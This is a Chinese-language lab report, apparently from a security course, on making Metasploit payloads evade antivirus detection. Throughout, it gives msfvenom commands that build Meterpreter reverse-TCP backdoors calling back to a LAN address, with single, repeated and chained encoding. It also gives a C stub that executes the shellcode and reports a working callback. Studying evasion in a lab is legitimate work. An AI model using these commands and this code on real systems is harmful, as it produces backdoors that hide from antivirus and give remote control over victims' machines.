Exp3:MAL_免杀原理与实践
目录
1.实验环境
病毒扫描引擎:virustotal.
靶机:windows8.1+windows defender
2.实践内容
2.1 msfvenom
2.1.1 msfvenom直接生成
利用msfvenom
直接生成一个后门,上传到virustotal.扫描。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.243 LPORT=443 -f exe > backdoor.31.243.exe
- 实验结果
可以看出结果十分不理想。
放入主机立刻被windows defender检测隔离。
2.1.2 msfvenom 编码一次
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.31.243 LPORT=443 -f exe > encoded_1.exe
2.1.3 msfvenom 编码多次
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.31.243 LPORT=443 -f exe > encoded_10.exe
2.2 Veil_evasion免杀实践
2.3 C语言调用Shellcode
2.3.1Linux平台交叉编译Windows应用
利用指令会生成一个c语言格式的Shellcode数组。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=443 -f c
编译调用shellcode。
int main()
{
int(*func)() = (int(*)())buf;
func();
}
2.3.2VisualStudio
- 实验原理:利用指令会生成一个c语言格式的Shellcode数组。之后利用C语言编程调用shellcode数组,在windows平台生成.exe, 在靶机上运行。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=443 -f c
与上一个程序用相同的shellcode,将生成的C语言shellcode数组写成win32程序。不同的是此时用到了call
函数。
- 实验结果
这次结果比上面好,现在尝试能否使用后门回连。
报错,需要安装vcredist 2013 x86
回连成功,后门可以使用。
2.3.3动态加密shellcode
对比前两次结果,同一个shellcode被查杀的结果存在差异,很难判断call
是否被杀毒软件定义为一个危险行为,下面将同一个shellcode动态加密一下,看看能不能对特征码有没有影响。
- 实验结果
shellcode使用了下面的命令
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.31.243 LPORT=443 R |msfvenom -e x86/shikata_ga_nai -c 4 -t raw|msfvenom -e x86/call4_dword_xor -c 3 -t raw|msfvenom -e x86/context_time -c 3 -t raw|msfvenom -e x86/jmp_call_additive -c 4 -t raw|msfvenom -e x86/shikata_ga_nai -c 4 -t exe > encode_31.243.exe
使用的编码次数太多,虽然达到了免杀效果,但是影响了使用,回连失败。